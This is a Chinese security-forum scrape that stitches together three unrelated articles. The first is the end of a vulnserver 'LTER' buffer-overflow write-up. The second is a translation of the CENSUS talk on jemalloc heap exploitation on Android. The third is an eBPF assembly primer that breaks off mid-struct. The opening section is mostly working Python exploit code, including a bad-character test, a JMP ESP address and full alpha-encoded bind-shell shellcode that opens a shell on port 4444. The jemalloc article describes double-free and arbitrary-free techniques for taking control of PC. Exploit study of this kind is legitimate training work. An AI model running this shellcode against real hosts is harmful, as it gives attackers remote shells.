"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = "A"*2003
buffer += "BBBB"
buffer += badchars
buffer += "C"*(3000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()
从这里可以看出，在 \x7F 之后，字符 \x80 被转义成了
\x01。事实证明，在\x7F之后的每个字符都会通过减去\x7F来转换。在\xFF的例子中，由于减去了\x7F，它被转换为\x80。由此，我发现，允许使用的字符只有ASCII字符（除了NULL字节）。
有了这个，我就用！！mona jmp -r esp -cp ascii -m "essfunc.dll " 命令来找到一个包含JMP
ESP指令的地址。请注意选项-cp ascii。这是为了确保结果中的地址只包含ASCII字符。为此，我这里使用了第一个地址，即0x62501203。
然后我修改了代码，尝试使用JMP ESP地址。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
buffer = "A"*2003
buffer += "\x03\x12\x50\x62" # JMP ESP from essfunc.dll (ascii only)
buffer += "C"*(3000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()
如下图所示，我被重定向到了C的缓冲区。
接下来，我使用alpha_mixed
编码器生成了一个shellcode。我必须要使用这个编码器来生成一个只包含允许的字符列表的shellcode。还应注意的是，我使用了BufferRegister=ESP这个选项。如果没有这个选项，shellcode将会从操作码\x89\xe2\xdb\xdb\xd9\x72开始执行。为了找到shellcode在内存中的绝对位置，我们需要这个操作码。目前，在这个漏洞中，我已经知道我的shellcode的绝对位置了。有了这个，我在生成shellcode时选择使用BufferRegister=ESP选项。
以下是最终的漏洞代码。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -e x86/alpha_mixed -b "\x00" BufferRegister=ESP -f c
# Payload size: 710 bytes
shellcode = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4d\x38\x6c\x42\x33\x30"
"\x33\x30\x43\x30\x43\x50\x4e\x69\x58\x65\x54\x71\x6b\x70\x33"
"\x54\x4c\x4b\x52\x70\x54\x70\x4c\x4b\x71\x42\x36\x6c\x4e\x6b"
"\x50\x52\x62\x34\x6c\x4b\x64\x32\x51\x38\x54\x4f\x4e\x57\x42"
"\x6a\x45\x76\x34\x71\x39\x6f\x6e\x4c\x35\x6c\x45\x31\x53\x4c"
"\x54\x42\x76\x4c\x47\x50\x49\x51\x78\x4f\x74\x4d\x57\x71\x6b"
"\x77\x68\x62\x59\x62\x53\x62\x66\x37\x4c\x4b\x73\x62\x52\x30"
"\x6e\x6b\x63\x7a\x75\x6c\x4c\x4b\x52\x6c\x46\x71\x33\x48\x38"
"\x63\x42\x68\x77\x71\x38\x51\x30\x51\x6e\x6b\x32\x79\x67\x50"
"\x33\x31\x38\x53\x6c\x4b\x51\x59\x42\x38\x6d\x33\x76\x5a\x70"
"\x49\x4e\x6b\x37\x44\x6e\x6b\x77\x71\x6a\x76\x64\x71\x39\x6f"
"\x6e\x4c\x79\x51\x38\x4f\x46\x6d\x65\x51\x4a\x67\x34\x78\x69"
"\x70\x30\x75\x68\x76\x56\x63\x33\x4d\x58\x78\x45\x6b\x51\x6d"
"\x67\x54\x73\x45\x48\x64\x73\x68\x4c\x4b\x36\x38\x54\x64\x55"
"\x51\x6b\x63\x50\x66\x4c\x4b\x44\x4c\x52\x6b\x6c\x4b\x76\x38"
"\x67\x6c\x77\x71\x5a\x73\x4c\x4b\x63\x34\x6c\x4b\x66\x61\x38"
"\x50\x6e\x69\x47\x34\x66\x44\x57\x54\x31\x4b\x43\x6b\x65\x31"
"\x33\x69\x62\x7a\x52\x71\x49\x6f\x49\x70\x71\x4f\x71\x4f\x51"
"\x4a\x4c\x4b\x45\x42\x78\x6b\x6e\x6d\x71\x4d\x61\x78\x34\x73"
"\x74\x72\x55\x50\x55\x50\x42\x48\x42\x57\x54\x33\x44\x72\x31"
"\x4f\x76\x34\x65\x38\x42\x6c\x74\x37\x56\x46\x36\x67\x59\x6f"
"\x78\x55\x78\x38\x6a\x30\x63\x31\x67\x70\x33\x30\x44\x69\x78"
"\x44\x72\x74\x66\x30\x42\x48\x56\x49\x4b\x30\x42\x4b\x53\x30"
"\x4b\x4f\x79\x45\x32\x4a\x75\x58\x30\x59\x62\x70\x6a\x42\x6b"
"\x4d\x57\x30\x56\x30\x53\x70\x52\x70\x61\x78\x79\x7a\x46\x6f"
"\x49\x4f\x39\x70\x6b\x4f\x6e\x35\x6d\x47\x62\x48\x57\x72\x73"
"\x30\x57\x61\x53\x6c\x6e\x69\x7a\x46\x70\x6a\x64\x50\x73\x66"
"\x52\x77\x33\x58\x39\x52\x49\x4b\x37\x47\x63\x57\x49\x6f\x59"
"\x45\x62\x77\x71\x78\x58\x37\x6a\x49\x34\x78\x59\x6f\x4b\x4f"
"\x39\x45\x50\x57\x43\x58\x43\x44\x68\x6c\x67\x4b\x48\x61\x49"
"\x6f\x4b\x65\x76\x37\x6e\x77\x72\x48\x34\x35\x42\x4e\x70\x4d"
"\x73\x51\x49\x6f\x4e\x35\x53\x58\x32\x43\x52\x4d\x45\x34\x53"
"\x30\x6e\x69\x6b\x53\x72\x77\x50\x57\x53\x67\x44\x71\x49\x66"
"\x43\x5a\x52\x32\x72\x79\x53\x66\x78\x62\x59\x6d\x30\x66\x79"
"\x57\x73\x74\x64\x64\x57\x4c\x65\x51\x57\x71\x4c\x4d\x73\x74"
"\x61\x34\x64\x50\x69\x56\x53\x30\x32\x64\x66\x34\x56\x30\x36"
"\x36\x66\x36\x43\x66\x72\x66\x46\x36\x72\x6e\x66\x36\x31\x46"
"\x33\x63\x30\x56\x30\x68\x71\x69\x58\x4c\x45\x6f\x4f\x76\x59"
"\x6f\x4a\x75\x4f\x79\x6d\x30\x50\x4e\x51\x46\x53\x76\x6b\x4f"
"\x54\x70\x53\x58\x64\x48\x4f\x77\x67\x6d\x31\x70\x39\x6f\x69"
"\x45\x4d\x6b\x59\x70\x55\x4d\x54\x6a\x46\x6a\x65\x38\x4d\x76"
"\x7a\x35\x4d\x6d\x6f\x6d\x6b\x4f\x68\x55\x35\x6c\x54\x46\x31"
"\x6c\x67\x7a\x6b\x30\x39\x6b\x39\x70\x43\x45\x63\x35\x6d\x6b"
"\x72\x67\x56\x73\x73\x42\x70\x6f\x62\x4a\x43\x30\x42\x73\x6b"
"\x4f\x4a\x75\x41\x41")
buffer = "A"*2003
buffer += "\x03\x12\x50\x62" # JMP ESP from essfunc.dll (ascii only)
buffer += shellcode
buffer += "C"*(3000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()
运行这个程序后，就会使目标机在4444/tcp端口进行监听。
连接到这个端口就能够在目标机上进行shell访问。 | 社区文章 |
# 【技术分享】基于jemalloc的Android漏洞利用技巧----CENSUS
|
##### 译文声明
本文是翻译文章，文章来源：census-labs.com
原文地址：<https://census-labs.com/media/shadow-infiltrate-2017.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **arnow117**](http://bobao.360.cn/member/contribute?uid=941579989)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**背景介绍**
**jemalloc的相关研究**
argp与huku在2012年在Phrack上发表的：对jemalloc内存分配器的单独利用(做出了基于FreeBSD上libc的POC)。
argp与huku在2012年BlackHat上发表的：在Firefo中玩坏jemalloc的元数据。
argp在2015年INFILTRATE上的jemalloc漏洞利用方法论。
**Android堆漏洞利用的相关研究**
Hanan Be'er对CVE-2015-3864这个stagefright中整形溢出导致堆破坏的漏洞利用
Aaron Adams的对这个漏洞的又一次利用
Joshua Drake对于stagefright漏洞利用相关工作 向之前的研究者们致谢！（这也是为什么要翻译这一段之必要）
**配合jemalloc使用的插件：Shadow**
**注，因为本文核心是jemalloc与堆漏洞利用，此章节关于对关于插件shadow的历史部分没有翻译。**
shadow是CENSUS开发的的一个基于jemalloc的堆漏洞利用框架，开源在Github([传送门](https://github.com/CENSUS/shadow))上。用来搭配调试器提供jemalloc分配器的内部结构信息。可以作为插件在GDB，WINDBG，以及lldb中使用。
这个框架有几个优点：
没有多余的要附加的源文件。
对于Android与Firefox两个平台，使用相同的指令。
简化的调试引擎。
提供堆快照支持。
(gdb) jeparse -f
(gdb) jestore /tmp/snapshot1
提供单独的脚本，允许进行非运行时的堆排布分析。单独使用时样例：
$ python shadow.py /tmp/snapshot1 jeruns -c
listing current runs only
[arena 00 (0x0000007f85680180)] [bins 36]
[run 0x7f6ef81468] [region size 08] [total regions 512] [free regions 250]
[run 0x7f6e480928] [region size 16] [total regions 256] [free regions 051]
[run 0x7f6db81888] [region size 32] [total regions 128] [free regions 114]
...
提供对于堆中内存排布的解析脚本。作为Python插件包时的使用样例：
//code
import jemalloc
heap = jemalloc.jemalloc("/tmp/snapshot1")
for chunk in heap.chunks:
print "chunk @ 0x%x" % chunk.addr
//run
$ python print_chunks.py
chunk @ 0x7f6d240000
chunk @ 0x7f6db00000
chunk @ 0x7f6db40000
chunk @ 0x7f6db80000
chunk @ 0x7f6dbc0000
...
**jemalloc**
**jemalloc的一些特性**
jemalloc使用bitmap管理堆分配，而不是通过内存的利用率，这也可能是jemalloc被广泛使用的主要原因。当下FreeBSD
libc，Firefox，Android libc，MySQL，Redis以及Facebook内部都在用。
设计原则
最小化的元数据开销
基于每个线程进行缓存，避免了同步问题。
避免了连续分配内存的碎片化问题。
简洁高效（所以就可以预判了哦呵呵）
**Android中的jemalloc**
在Android 6使用的版本实际上是4.0.0，在Android 7
上使用的版本是4.1.0-4-g33184bf69813087bf1885b0993685f9d03320c69
jemalloc在Android源码中的修改通过宏定义开关控制的代码块来实现，同时辅以/* Android change */的注释
#if defined(__ANDROID__)/* ANDROID change */
/* … */ /* … */
#endif /* End ANDROID change */
在jemalloc的Android.mk中限制了仅使用两个arenas，并且开启了线程缓存(PS：本文的讨论基于64位的架构)
//part of Android.mk
jemalloc_common_cflags +=
-DANDROID_MAX_ARENAS=2
-DJEMALLOC_TCACHE
-DANDROID_TCACHE_NSLOTS_SMALL_MAX=8
-DANDROID_TCACHE_NSLOTS_LARGE=16
**jemalloc内部结构**
**概念：region**
调用malloc返回给用户的实际内存
在内存中连续分布
不包含元数据
根据大小不同，划分为三种类型：
Small，最大0x14336字节
Large，最大0x38000字节(Android 6上)
Huge，大于0x38000
可以使用shadow中的jebininfo列出当前线程所有的region，或者jesize列出满足给定size的region相关信息
//jebinfo
(gdb) jebininfo
[bin 00] [region size 008] [run size 04096] [nregs 0512]
[bin 01] [region size 016] [run size 04096] [nregs 0256]
[bin 02] [region size 032] [run size 04096] [nregs 0128]
[bin 03] [region size 048] [run size 12288] [nregs 0256]
[bin 04] [region size 064] [run size 04096] [nregs 0064]
[bin 05] [region size 080] [run size 20480] [nregs 0256]
[bin 06] [region size 096] [run size 12288] [nregs 0128]
[bin 07] [region size 112] [run size 28672] [nregs 0256]
//jesize
(gdb) jesize 24
[bin 02] [region size 032] [run size 04096] [nregs 0128]
线程申请memory时，与region的对应关系。
**概念：run**
存放连续的大小相同的region的容器
一系列连续的页集合
内部存放small/large类型的region
没有元数据
查看给定的地址所属的run中的region信息
(gdb) jerun 0x7f931c0628
[region 000] [used] [0x0000007f931cc000] [0x0000000070957cf8]
[region 001] [used] [0x0000007f931cc008] [0x0000000070ea78b0]
[region 002] [used] [0x0000007f931cc010] [0x0000000070ec2868]
[region 003] [used] [0x0000007f931cc018] [0x0000000070f0322c]
...
(gdb) x/4gx 0x7f931cc000
0x7f931cc000: 0x0000000070957cf8 0x0000000070ea78b0
0x7f931cc010: 0x0000000070ec2868 0x0000000070f0322c
...
线程申请memory时，与run的对应关系。
**概念：chunk**
存放run的容器
大小固定相同
操作系统返回的内存被划分到chunk中管理
存储着关于自身以及它管理的run的元数据
chunks的结构，与run以及元数据的关系。
chunks中的元数据结构，mapbit[0]与mapmisc[0]指向chunk中的第一个run。
chunks元数据中mapmisc中的bitmap结构管理着run中的region的分配使用。
**变化: 不同Android版本下的jemalloc**
Chunk的大小
元数据的变化
增加了mapbias与mapbits flags
**堆中的jemalloc**
root@bullhead/: cat /proc/self/maps | grep libc_malloc
7f81d00000-7f81d80000 rw-p 00000000 00:00 0 [anon:libc_malloc]
7f82600000-7f826c0000 rw-p 00000000 00:00 0 [anon:libc_malloc]
7f827c0000-7f82a80000 rw-p 00000000 00:00 0 [anon:libc_malloc]
7f82dc0000-7f830c0000 rw-p 00000000 00:00 0 [anon:libc_malloc]
(gdb) jechunks
[shadow] [chunk 0x0000007f81d00000] [arena 0x0000007f996800c0]
[shadow] [chunk 0x0000007f81d40000] [arena 0x0000007f996800c0]
[shadow] [chunk 0x0000007f82600000] [arena 0x0000007f996800c0]
[shadow] [chunk 0x0000007f82640000] [arena 0x0000007f996800c0]
[shadow] [chunk 0x0000007f82680000] [arena 0x0000007f996800c0]
[shadow] [chunk 0x0000007f827c0000] [arena 0x0000007f996800c0]
...
可以看到maps中0x7f81d00000对应的memory，属于两个chunk，分别位于0x7f81d00000以及0x7f81d40000。
**jemalloc的内存排布**
jemalloc管理下的内存排布
溢出了region的示意图
如果溢出了run的示意图
如果溢出了chunk的示意图，注意到，chunk头部有元数据。
**基于jemalloc的堆喷**
Hanan Be'er, Aaron Adams, Mark Brand, Joshua Drake都讨论过
region与run都没有元数据
堆喷的时候，chunk的第一个与最后一个页是不可喷的
chunk的地址是可以预测的
chunk中可堆喷的区域大小示意图
chunk地址可预测？
Google ProjectZero的Mark Brand曾经有说过
32位上：大chunk，而地址空间较小
mmap()产生多个chunk，而chunk大小固定。
Andorid进程通常加载很多模块
Android 7的chunk更大
同样适用于申请巨大的内存
可预测的chunk地址意味着
可预测的run地址
可预测的region地址
这些可以让我们做更有目的性的，更加精确的堆喷
**jemalloc的内存管理**
arena
arena内存申请器
用来缓解线程间申请memory时的竞争问题
每一个arena彼此独立，管理各自的chunk
每个线程在第一次malloc时，建立起与各自的arena的联系，一个线程只指向一个arena
每个进程中，arena的数量由jemalloc配置决定，在Android上硬编码为两个。
在malloc申请内存中，arena与线程缓存的关系。
申请的memory在jemalloc内部实际是通过arena申请的，且在每一个线程中都有一个缓存。
查看进程的arena
//common
(gdb) x/2gx arenas
0x7f99680080: 0x0000007f997c0180 0x0000007f996800c0
//using shadow
(gdb) jearenas
[jemalloc] [arenas 02] [bins 36] [runs 1408]
[arena 00 (0x0000007f997c0180)] [bins 36] [threads: 1, 3, 5]
[arena 01 (0x0000007f996800c0)] [bins 36] [threads: 2, 4]
arena bin
每个arena都有一个bin数组
每一个bin对应着一种small类型，大小固定的region。
同时bin数组还肩负着用树存储未满的run的职责，并选一个作为当前指向的run
查看arena bin，runcur为对应region所属run的地址
(gdb) jebins
[arena 00 (0x7f997c0180)] [bins 36]
[bin 00 (0x7f997c0688)] [size class 08] [runcur 0x7f83080fe8]
[bin 01 (0x7f997c0768)] [size class 16] [runcur 0x7f82941168]
[bin 02 (0x7f997c0848)] [size class 32] [runcur 0x7f80ac0808]
[bin 03 (0x7f997c0928)] [size class 48] [runcur 0x7f81cc14c8]
[bin 04 (0x7f997c0a08)] [size class 64] [runcur 0x7f80ac0448]
...
查看当前run，以及其中region的信息。
(gdb) jeruns -c
[arena 00 (0x7f997c0180)] [bins 36]
[run 0x7f83080fe8] [region size 08] [total regions 512] [free regions 158]
[run 0x7f82941168] [region size 16] [total regions 256] [free regions 218]
[run 0x7f80ac0808] [region size 32] [total regions 128] [free regions 041]
[run 0x7f81cc14c8] [region size 48] [total regions 256] [free regions 093]
[run 0x7f80ac0448] [region size 64] [total regions 064] [free regions 007]
...
通过arena申请内存流程
申请size为8字节的memory时，先查bin，发现bin[0]所代表size为8的small
region可以装的下，则查找对应存放这个连续region的run，并从中分配一块region返回。
通过arena释放内存流程
free与申请类似，查找到存放region的run，然后释放这个region。
arena中的线程缓存
什么是线程缓存(tcache)
arena与线程缓存的流程关系。
每一个线程维护着一个对small/large内存申请的缓存
对缓存的操作与栈相似
以申请时间为衡量的增长式“垃圾回收”机制
线程缓存栈以及其指向的run中region示意图，tbins[0]中存储着对应size的region缓存栈，每一种size的tbin中存储着其size下对应的缓存栈。
线程缓存在申请内存时候的作用
还是刚才malloc的图，加上了tcache，可以看到，没有直接去通过arena要region，而是先去查对应size的tbin缓存栈avail去了。
在缓存栈中，弹出一个最近被free“回收”到缓存栈上的内存地址做新malloc的返回地址。
按照如此大小一直申请，最终栈会弹空。之后arena再通过元数据向run中要对应size的region，申请的数量是lg_fill_div，将返回的内存地址再压入缓存栈。
线程缓存在释放内存时的作用
释放与申请类似，只不过变成了将释放的地址压入缓存栈。
同样，缓存栈满了后arena也会将对应region还回去，但是每次只还一半。申请时间久的先被归还回去。缓存栈的容量在结构体tcache_bin_info中有定义。
tcache中的数据结构
struct tcache_s {
...
tcache_bin_t tbins[];
/* cached allocation
pointers (stacks) */
};
struct tcache_bin_s {
...
unsigned lg_fill_div;
unsigned ncached;
void **avail;
};
//tcache_bin_s 就是 tcache_bin_t
以上这些结构体的内存，是通过arenas[0]分配得到的。
每个线程的TSD中也会存着指向这些结构的指针。
内存中的tbin与其avail指针
如何从线程中找到tcache，x0就是线程结构体的地址，其中key_data就是线程特有数据（也叫TSD）的指针，所以这里存放的就包含了tcache的地址。从shadow中可以看到TSD是在size类型为0x80的run中的。
TSD中存放的tcache与arena的示意。从shadow中可以看到tcache是在size类型为0x1c00的run中的。
如果把tcache溢出了？
这些信息在arenas[0]中存放
tcache在size类型为0x1c00的run里分配，很难去找对并操作
但是这种情况有可能的
需要创建或者销毁线程
那如果吧TSD溢出了呢？
TSD在size类型为0x80的run里分配，很难去找对并操作
这种情况有可能，但是也难达到
需要创建或者破坏线程相关信息
小结：jemalloc内部结构在堆中的布局
jemalloc中固定的部分有
arena的大小
tcache的大小
arena与线程的关联部分(比如TSD)的大小
结构地址随机化
但是有一点值得注意，线程缓存使得访问相邻的region更加容易
**利用shadow搞事情！**
**基于double free的利用姿势**
为什么要用这个呢，是因为之前我们没有在jemalloc里实践过这样的姿势
而且这个姿势在Android和Firefox都有通用的代码模式
可以很通用的使用
在第一次free对象后，控制之后的两次申请
只要申请相同大小就可以进行利用
double free的示例代码
申请到了0x7f8fed1000，看看此时的tcache。
0x7f8fed1000压入tcache
受我们控制的第二次申请，又拿到了0x7f8fed1000
地址还回去，但是指针你留下来。最后我们用这个函数指针跳向我们想去的地方
给函数指针赋值。
**任意地址free的利用前提**
不是简单的原型，通常是有缺陷的清理逻辑（比如对树中节点的移除）。
jemalloc对于free传入的地址没有很好的检查
Android加入的检查可以被绕过
释放后会把地址压入对应的线程缓存栈
释放时候页索引检查代码段：
chunk = (arena_chunk_t *)CHUNK_ADDR2BASE(ptr);
if (likely(chunk != ptr)) {
pageind = ((uintptr_t)ptr - (uintptr_t)chunk) >> LG_PAGE;
#if defined(__ANDROID__)
/* Verify the ptr is actually in the chunk. */
if (unlikely(pageind < map_bias || pageind >= chunk_npages)) {
__libc_fatal_no_abort(...)
return;
}
#endif
/* chunksize_mask = chunksize - 1 */
#define LG_PAGE 12
#define CHUNK_ADDR2BASE(a) ((void *)((uintptr_t)(a) & ~chunksize_mask))
再来看看chunk的排布
chunk中对于mapbits的检查
mapbits = arena_mapbits_get(chunk, pageind);
assert(arena_mapbits_allocated_get(chunk, pageind) != 0);
#if defined(__ANDROID__)
/* Verify the ptr has been allocated. */
if (unlikely((mapbits & CHUNK_MAP_ALLOCATED) == 0)) {
__libc_fatal(...);
}
#endif
if (likely((mapbits & CHUNK_MAP_LARGE) == 0)) {
/* Small allocation. */
/* ... */
#define CHUNK_MAP_ALLOCATED ((size_t)0x1U)
#define CHUNK_MAP_LARGE ((size_t)0x2U)
把这两个检查绕过，就可以任意地址进行free了，当然我们就可以传入一个从run中拿到的地址。也就是说，我们可以释放并往tcache里面压栈一个非对齐的region指针，但是有一个字节会被破坏。最后重新申请被free的region就会导致溢出到下一个region，如下图所示。
**利用案例**
boot.oat 里面有Android框架层的所有编译的native代码，在启动时候随机化加载。
boot.art 装载着一系列栈初始化类信息，以及相关的对象。
加载地址对每一个设备来说地址固定，由第一次启动时决定
包含着指向boot.oat的指针
在boot.art中我们找到一个函数指针0x713b6c40，我们先来分别计算mapbits，以及pagind，可以看到其绕过了这两个检查，注意64bit下的一些常量。
利用流程
1\. 把这个在boot.art中指向boot.oat的地址通过free压入缓存栈
2\. malloc后从缓存栈中弹出这个地址
3\. 把想要控制的PC的值写进新申请的memory里面，覆盖某个当前的函数指针
4\. 等风来，调用这个函数指针。
如何找boot.art中的地址
用shadow的jefreecheck找到可以被free的地址
确保这个地址中存储的函数指针会被调用
(gdb) jefreecheck -b 0 boot.art
searching system@[email protected] (0x708ce000 -0x715c2000)
[page 0x712cf000]
+ 0x712cf000
+ 0x712cf028
+ 0x712cf038
+ 0x712cf060
+ 0x712cf070
...
为了举例方便，在这里面我们用gdb直接向malloc得到后的问题地址0x713b6c40写入非法值。可以看到0x713b6c40这个地址存储的是一个函数指针。
free这个地址后，通过malloc再获得这个地址，然后向这个地址所指向的内存写一些值，比如AAAAA，我们便成功的控制了PC。 | 社区文章 |
# BPF之路二(e)BPF汇编
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 原始的BPF汇编
<https://www.kernel.org/doc/html/latest/networking/filter.html#networking-filter>
原始的BPF又称之为class BPF(cBPF), BPF与eBPF类似于i386与amd64的关系,
最初的BPF只能用于套接字的过滤,内核源码树中`tools/bpf/bpf_asm`可以用于编写这种原始的BPF程序,
cBPF架构的基本元素如下
元素 | 描述
---|---
A | 32bit宽的累加器
X | 32bit宽的X寄存器
M[] | 16*32位宽的杂项寄存器寄存器, 又称为临时寄存器, 可寻找范围:0~15<br />类似于一个`int32_t M[16];`的小内存<br
/>
cBPF汇编的一条指令为64字节, 在头文件`<linux/filter.h>`中有定义 . 如下. 这种结构被组装为一个 4
元组数组，其中包含code、jt、jf 和 k 值. jt 和 jf 是用于提供代码的跳转偏移量, k为通用值
struct sock_filter { /* Filter block */
__u16 code; /* 16位宽的操作码 */
__u8 jt; /* 如果条件为真时的8位宽的跳转偏移 */
__u8 jf; /* 如果条件为假时的8位宽的跳转偏移 */
__u32 k; /* 杂项参数 */
};
对于套接字过滤，把`struct sock_filter`数组的指针通过setsockopt(2) 传递给内核。例子:
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
/* ... */
/* From the example above: tcpdump -i em1 port 22 -dd */
struct sock_filter code[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 8, 0x000086dd },
{ 0x30, 0, 0, 0x00000014 },
{ 0x15, 2, 0, 0x00000084 },
{ 0x15, 1, 0, 0x00000006 },
{ 0x15, 0, 17, 0x00000011 },
{ 0x28, 0, 0, 0x00000036 },
{ 0x15, 14, 0, 0x00000016 },
{ 0x28, 0, 0, 0x00000038 },
{ 0x15, 12, 13, 0x00000016 },
{ 0x15, 0, 12, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 2, 0, 0x00000084 },
{ 0x15, 1, 0, 0x00000006 },
{ 0x15, 0, 8, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 6, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 2, 0, 0x00000016 },
{ 0x48, 0, 0, 0x00000010 },
{ 0x15, 0, 1, 0x00000016 },
{ 0x06, 0, 0, 0x0000ffff },
{ 0x06, 0, 0, 0x00000000 },
};
struct sock_fprog bpf = {
.len = ARRAY_SIZE(code),
.filter = code,
};
sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); //建立套接字
if (sock < 0)
/* ... bail out ... */
ret = setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &bpf, sizeof(bpf)); //把bpf程序附加到套接字上
if (ret < 0)
/* ... bail out ... */
/* ... */
close(sock);
由于性能有限, 因此后面cBPF由发展成为eBPF, 有新的指令和架构. 原始的BPF指令会被自动翻译为新的eBPF指令
## eBPF虚拟机
eBPF虚拟机是一个RISC指令, 带有寄存器的虚拟机, 内部有11个64位寄存器, 一个程序计数器(PC), 以及一个512字节的固定大小的栈.
9个通用寄存器可以读写, 一个是只能读的栈指针寄存器(SP), 以及一个隐含的程序计数器, 我们只能根据PC进行固定偏移的跳转.
虚拟机寄存器总是64位的(就算是32位物理机也是这样的), 并且支持32位子寄存器寻址(寄存器高32位自动设置为0)
* `r0`: 保存函数调用和当前程序退出的返回值
* `r1~r5`: 作为函数调用参数, 当程序开始运行时, `r1`包含一个指向`context`参数的指针
* `r6~r9`: 在内核函数调用之间得到保留
* `r10`: 只读的指向512字节栈的栈指针
加载BPF程序时提供的的程序类型(prog_type)决定了内核里面哪些函数子集可以调用, 也决定了程序启动时通过r1提供的context参数.
r0中保存的返回值含义也由程序类型决定.
对于eBPF到eBPF, eBPF到内核, 每个函数调用最多5个参数, 保存在寄存器`r1~r5`中. 并且传递参数时,
寄存器`r1~r5`只能保存常数或者指向堆栈的指针, 不能是任意内存的指针. 所有的内存访问必须先把数据加载到eBPF堆栈中, 然后才能使用.
这样的限制简化内存模型, 帮助eBPF验证器进行正确性检查
BPF可以访问内核核心提供(除去模块扩展的部分)的内核助手函数, 类似于系统调用, 这些助手函数在内核中通过`BPF_CALL_*`宏进行定义.
`bpf.h`文件提供了所有BPF能访问的内核助手函数的声明.
以`bpf_trace_printk`为例子, 这个函数在内核中通过`BPF_CALL_5`进行定义, 并且有5对类型与参数名,
定义参数的类型对于eBPF很重要, 因为每一个eBPF程序加载时eBPF验证器都要确保寄存器数据类型与被调用函数的参数类型匹配.
BPF_CALL_5(bpf_trace_printk, char *, fmt, u32, fmt_size, u64, arg1, u64, arg2, u64, arg3)
{
...
}
这样设计是为了让虚拟机指令与原生的指令集(x86 arm)尽可能匹配, 这样JIT编译出的指令可以更简单高效,
所有寄存器都一对一地映射到硬件寄存器。例如，x86_64 JIT 编译器可以将它们映射为
R0 - rax
R1 - rdi
R2 - rsi
R3 - rdx
R4 - rcx
R5 - r8
R6 - rbx
R7 - r13
R8 - r14
R9 - r15
R10 - rbp
## eBPF指令编码
每个eBPF指令都是固定的8字节, 大概有100条指令, 被划分为8个类型. 虚拟机支持从通用内存(映射, 栈, contexts比如数据包,
..)中进行1-8字节的读写, 支持前后有无条件的跳转, 支持数据与逻辑操作(ALU指令), 支持函数调用.
一个eBPF程序就是64位指令的序列, 所有的eBPF指令都有同样的基础格式:
* 8bit操作码
* 4bit目标寄存器
* 4bit源寄存器
* 16bit偏移
* 32bit立即数
msb最高bit lsb最低bit
+------------------------+----------------+----+----+--------+
|immediate |offset |src |dst |opcode |
+------------------------+----------------+----+----+--------+
| 32 | 16 | 4 | 4 | 8 |
大多数指令并不会使用全部的区域, 不使用的区域应该设置为0
操作码的最低3bit表示指令类别, 这个把相关的操作码组合在一起
`LD/LDX/ST/STX`操作码有如下结构
msb lsb
+---+--+---+
|mde|sz|cls|
+---+--+---+
| 3 |2 | 3 |
`sz`区域表示目标内存区域的大小, `mde`区域是内存访问模式, uBPF只支持通用`MEM`访问模式
`ALU/ALU64/JMP`操作码的结构
msb lsb
+----+-+---+
|op |s|cls|
+----+-+---+
| 4 |1| 3 |
如果`s`是0, 那么源操作数就是`imm`, 如果`s`是1, 那么源操作数就是`src`. `op`部分指明要执行哪一个ALU或者分支操作
`bpf.h`中使用`struct bpf_insn`来描述一个eBPF指令, 其定义与上文是一致的. 因此一段eBPF程序也可以用一个`struct
bpf_insn`数组来描述
struct bpf_insn {
__u8 code; /* 操作码 opcode */
__u8 dst_reg:4; /* 目标寄存器 dest register */
